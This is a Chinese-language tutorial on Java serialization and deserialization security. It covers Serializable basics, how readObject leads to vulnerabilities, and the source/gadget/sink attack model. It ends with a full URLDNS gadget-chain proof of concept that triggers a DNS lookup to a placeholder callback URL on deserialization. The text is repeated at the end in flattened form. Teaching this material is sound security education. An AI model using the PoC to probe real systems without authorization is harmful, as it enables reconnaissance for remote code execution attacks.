Java反序列化基础篇-01-反序列化概念与利用
字数 1410 2025-08-12 11:34:02

Java反序列化基础:概念与利用

0x01 前言

Java反序列化是Java安全领域的重要基础,本文旨在帮助初学者打好基础,避免直接分析复杂漏洞(如CC链、Shiro POC)时走弯路。建议先了解Java反射机制,推荐参考"Java安全漫谈系列"。

0x02 序列化与反序列化基础

1. 基本概念

  • 序列化:将对象转换为字节序列(字符串)的过程
  • 反序列化:将字节序列(字符串)恢复为对象的过程

2. 序列化的用途

  1. 数据持久化:将对象永久保存到硬盘或文件中
  2. 远程通信:通过网络传输对象字节序列
  3. 应用场景:
    • 内存对象保存到文件或数据库
    • 网络套接字传输对象
    • RMI(远程方法调用)传输对象

3. 常见序列化协议

  • XML & SOAP
  • JSON
  • Protobuf
  • Java原生序列化(本文重点)

0x03 代码实现

1. 示例代码

Person.java(可序列化类)

package src;
import java.io.Serializable;

public class Person implements Serializable {
    private String name;
    private int age;
    
    public Person(String name, int age) {
        this.name = name;
        this.age = age;
    }
    
    @Override
    public String toString() {
        return "Person{name='" + name + "', age=" + age + "}";
    }
}

SerializationTest.java(序列化)

package src;
import java.io.*;

public class SerializationTest {
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }
    
    public static void main(String[] args) throws Exception {
        Person person = new Person("aa", 22);
        System.out.println(person);
        serialize(person);
    }
}

UnserializeTest.java(反序列化)

package src;
import java.io.*;

public class UnserializeTest {
    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        return ois.readObject();
    }
    
    public static void main(String[] args) throws Exception {
        Person person = (Person)unserialize("ser.bin");
        System.out.println(person);
    }
}

2. 序列化特性

  1. Serializable接口

    • 必须实现Serializable或Externalizable接口才能序列化
    • 空接口,无需实现任何方法
    • 删除接口会导致序列化失败
  2. 继承关系

    • 父类未实现Serializable时,需要提供无参构造函数
    • 实现Serializable的子类也可序列化
  3. 静态成员

    • 静态成员变量不能被序列化(属于类而非对象)
  4. transient关键字

    • 标记为transient的成员变量不参与序列化

0x04 反序列化安全问题

1. 关键方法

  • writeObjectreadObject
    • 可被开发者重写
    • 反序列化漏洞通常与readObject方法有关

2. 漏洞产生形式

  1. 直接调用危险方法

    • 入口类的readObject直接调用危险方法(如Runtime.exec)
    • 实际开发中较少见
  2. 参数可控调用链

    • 入口参数包含可控类,该类有危险方法
    • 入口参数可控类调用其他有危险方法的类
    • 构造函数/静态代码块在类加载时隐式执行

3. 攻击路线

  1. 攻击前提:继承Serializable接口
  2. 入口类(source)
    • 重写readObject调用常见函数
    • 参数类型宽泛(如可传入类作为参数)
    • 优先选择JDK自带类
  3. 调用链(gadget chain):相同名称、相同类型的方法调用
  4. 执行类(sink):最终执行危险操作(如RCE、SSRF、文件操作等)

0x05 URLDNS利用链分析

1. 特点

  • 简单易用,适合检测反序列化漏洞
  • 使用Java内置类,无第三方依赖
  • 无回显时可通过DNS请求确认漏洞存在

2. Gadget Chain

HashMap.readObject()
  → HashMap.putVal()
    → HashMap.hash()
      → URL.hashCode()
        → URLStreamHandler.hashCode()
          → URLStreamHandler.getHostAddress()
            → InetAddress.getByName()

3. 完整POC

public static void main(String[] args) throws Exception {
    HashMap<URL, Integer> hashmap = new HashMap<URL, Integer>();
    URL url = new URL("http://your-dns-log-url");
    
    // 使用反射防止序列化时触发DNS请求
    Class c = url.getClass();
    Field hashcodefile = c.getDeclaredField("hashCode");
    hashcodefile.setAccessible(true);
    hashcodefile.set(url, 1234); // 临时设置hashCode
    
    hashmap.put(url, 1);
    hashcodefile.set(url, -1); // 恢复为-1以便反序列化时触发
    
    serialize(hashmap);
}

4. 关键点解析

  1. 问题:直接序列化HashMap会立即触发DNS请求
  2. 解决方案:使用反射临时修改URL对象的hashCode字段
    • 序列化前设为非-1值避免触发
    • 序列化后恢复为-1确保反序列化时触发
  3. 反射技术:动态修改对象属性,绕过常规访问限制

0x06 总结与建议

  1. 理解基础概念比直接分析复杂漏洞更重要
  2. URLDNS链是学习反序列化的良好起点
  3. 掌握反射技术对Java安全研究至关重要
  4. 后续学习方向:
    • Java反射机制深入
    • 更复杂的利用链分析(如Commons Collections链)
    • 实际漏洞分析(如Shiro、Fastjson等)
Java反序列化基础:概念与利用 0x01 前言 Java反序列化是Java安全领域的重要基础,本文旨在帮助初学者打好基础,避免直接分析复杂漏洞(如CC链、Shiro POC)时走弯路。建议先了解Java反射机制,推荐参考"Java安全漫谈系列"。 0x02 序列化与反序列化基础 1. 基本概念 序列化 :将对象转换为字节序列(字符串)的过程 反序列化 :将字节序列(字符串)恢复为对象的过程 2. 序列化的用途 数据持久化:将对象永久保存到硬盘或文件中 远程通信:通过网络传输对象字节序列 应用场景: 内存对象保存到文件或数据库 网络套接字传输对象 RMI(远程方法调用)传输对象 3. 常见序列化协议 XML & SOAP JSON Protobuf Java原生序列化(本文重点) 0x03 代码实现 1. 示例代码 Person.java(可序列化类) SerializationTest.java(序列化) UnserializeTest.java(反序列化) 2. 序列化特性 Serializable接口 : 必须实现Serializable或Externalizable接口才能序列化 空接口,无需实现任何方法 删除接口会导致序列化失败 继承关系 : 父类未实现Serializable时,需要提供无参构造函数 实现Serializable的子类也可序列化 静态成员 : 静态成员变量不能被序列化(属于类而非对象) transient关键字 : 标记为transient的成员变量不参与序列化 0x04 反序列化安全问题 1. 关键方法 writeObject 和 readObject : 可被开发者重写 反序列化漏洞通常与 readObject 方法有关 2. 漏洞产生形式 直接调用危险方法 : 入口类的readObject直接调用危险方法(如Runtime.exec) 实际开发中较少见 参数可控调用链 : 入口参数包含可控类,该类有危险方法 入口参数可控类调用其他有危险方法的类 构造函数/静态代码块在类加载时隐式执行 3. 攻击路线 攻击前提 :继承Serializable接口 入口类(source) : 重写readObject调用常见函数 参数类型宽泛(如可传入类作为参数) 优先选择JDK自带类 调用链(gadget chain) :相同名称、相同类型的方法调用 执行类(sink) :最终执行危险操作(如RCE、SSRF、文件操作等) 0x05 URLDNS利用链分析 1. 特点 简单易用,适合检测反序列化漏洞 使用Java内置类,无第三方依赖 无回显时可通过DNS请求确认漏洞存在 2. Gadget Chain 3. 完整POC 4. 关键点解析 问题 :直接序列化HashMap会立即触发DNS请求 解决方案 :使用反射临时修改URL对象的hashCode字段 序列化前设为非-1值避免触发 序列化后恢复为-1确保反序列化时触发 反射技术 :动态修改对象属性,绕过常规访问限制 0x06 总结与建议 理解基础概念比直接分析复杂漏洞更重要 URLDNS链是学习反序列化的良好起点 掌握反射技术对Java安全研究至关重要 后续学习方向: Java反射机制深入 更复杂的利用链分析(如Commons Collections链) 实际漏洞分析(如Shiro、Fastjson等)